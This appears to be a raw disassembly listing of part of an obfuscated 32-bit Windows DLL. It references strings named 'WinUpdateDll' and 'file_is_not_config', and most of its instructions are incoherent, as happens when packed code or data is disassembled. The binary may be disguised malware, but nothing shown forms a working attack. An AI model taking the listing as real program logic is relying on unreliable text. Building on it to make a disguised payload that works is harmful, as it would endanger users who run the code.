invalid
mov ebp, 0xad678a63
sub esi, ebp
mov eax, 0x8d9cb028
movsb byte es:[edi], byte [esi]
mov edx, 0x75ee4bfb
out 0xc, eax
xor al, 0x56
pop es
test dword [ecx - 0x19], edx
aad 0x77
jns 0x1000a46d
jl 0x1000a487
popfd
add esp, 8
test eax, eax
je 0x1000a491
push str.file_is_not_config
push str.WinUpdateDll_______
push esi
call fcn.100051a0
push 0x8f8
push esi
push ebx
call fcn.1000d170
pushfd
test byte [0x1000a479], 0xa0
je 0x1000a47a
xlatb
test dword [eax - 0x71af3c04], ecx
push eax
inc ebx
lodsd eax, dword [esi]
pushal
stc
pop ds
sbb byte [ebx - 0x7f], dh
xchg esp, ecx
insb byte es:[edi], dx
xor ecx, dword [edi]
sbb edx, ebp
pop ecx
fild word [ebx - 0x6e]
cmp eax, 0xcb8a7a1f
lea edx, [eax + 0x6a]
pop ss
sti
js 0x1000a426
pop es
popfd
add esp, 0x18
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000d498
int 0xe8
or esi, dword [eax]
add byte [eax], al
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pushfd
test byte [0x1000a4d6], 0x8e
jne 0x1000a4d7
insb byte es:[edi], dx
sahf
stosb byte es:[edi], al
imul edi, edi, 0x3eeacfa7
cmp edx, esi
xchg edx, eax
mov dword [ebp + 0x6d], esp
pop edi
popal
shl bh, cl
ja 0x1000a4eb
or cl, 0x2b
pushal
out dx, al
and bl, byte [eax - 0x1a]
dec edx
add dword [esi + 0x36], 0x1e855b7c
push edx
mov bl, 0x2a
or al, byte [ecx - 0x5d]
pop ebp
sbb dword [eax + 0x68], ebx
cmc
jbe 0x1000a4d8
mov dword [0x5a2de8b0], eax
popfd
pop edi
pushfd
test byte [0x1000a51c], 0x5c
jne 0x1000a61d
jg 0x1000a55e
aam 0x99
salc
invalid
add al, 0xc2
popfd
cmpsb byte [esi], byte es:[edi]
mov ecx, 0x7b00e59b
mov bl, 0x9b
je 0x1000a53b
sbb ebp, dword [ebp - 9]
xlatb
push ss
mov dh, 0x51
mov dh, 0x51
or al, 0x4c
int 0xc4
xor esi, edi
pop edi
insb byte es:[edi], dx
mov bh, 7
pop edx
out 0xb1, al
imul ebp, ebp, 0x2f75a001
movsb byte es:[edi], byte [esi]
mov eax, 0xc39ccb5b
or ebx, dword [ebp + ebp*2 + 0xb9f580e]
std
add dword [eax - 0x475bd08b], esp
pop ebx
retf
ret
ja 0x1000a528
inc eax
push esi
jecxz 0x1000a4e7
imul ebx, dword [ecx - 0x3b], 0xfffffff6
daa
mov edx, 0x3eb1f3b0
inc ebp
xor esp, esi
pop ebx
fxch st(7)
stosb byte es:[edi], al
sub eax, 0xe877cd03
or al, 0x5d
pop edi
leave
inc ebp
jbe 0x1000a5e0
not byte cs:[esi - 0x72]
lodsb al, byte [esi]
inc esp
dec edi
add dword [edx + 0x37044ebb], 0x2e
sbb edi, dword [eax - 0x36]
add ebp, dword [ebp + 0x58c5c316]
scasb al, byte es:[edi]
pop ebp
pop esi
jne 0x1000a555
and byte [ecx + 0x2f133c65], al
sub edi, esp
jne 0x1000a54c
adc eax, dword [eax - 0x70]
jmp ecx
out dx, al
invalid
popfd
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.1000d498
mov esp, ebp
pop ebp
pushfd
test byte [0x1000a655], 0xca
jne 0x1000a656
mov bh, 0xc
inc edi
push ss
salc
sbb ch, byte [esi - 0x58]
fidivr dword [eax + eax - 0x59c4a50a]
das
dec ebp
sub dword [ebp + 0x33], edi
dec ebx
xor ah, byte [0x74391a7a]
push edi
popfd
ret